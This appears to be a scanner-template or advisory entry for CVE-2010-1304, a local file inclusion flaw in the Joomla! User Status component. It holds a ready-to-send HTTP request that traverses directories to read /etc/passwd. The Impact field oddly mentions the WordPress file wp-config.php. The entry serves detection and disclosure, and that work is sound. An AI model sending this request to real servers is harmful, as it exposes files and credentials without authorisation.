| Title | Joomla! Component User Status - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.03144 |
| CVE ID | CVE-2010-1304 |
| CWE ID | CWE-22 |
| Tags | cve cve2010 joomla lfi status edb joomlamo vuln |
A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
GET /index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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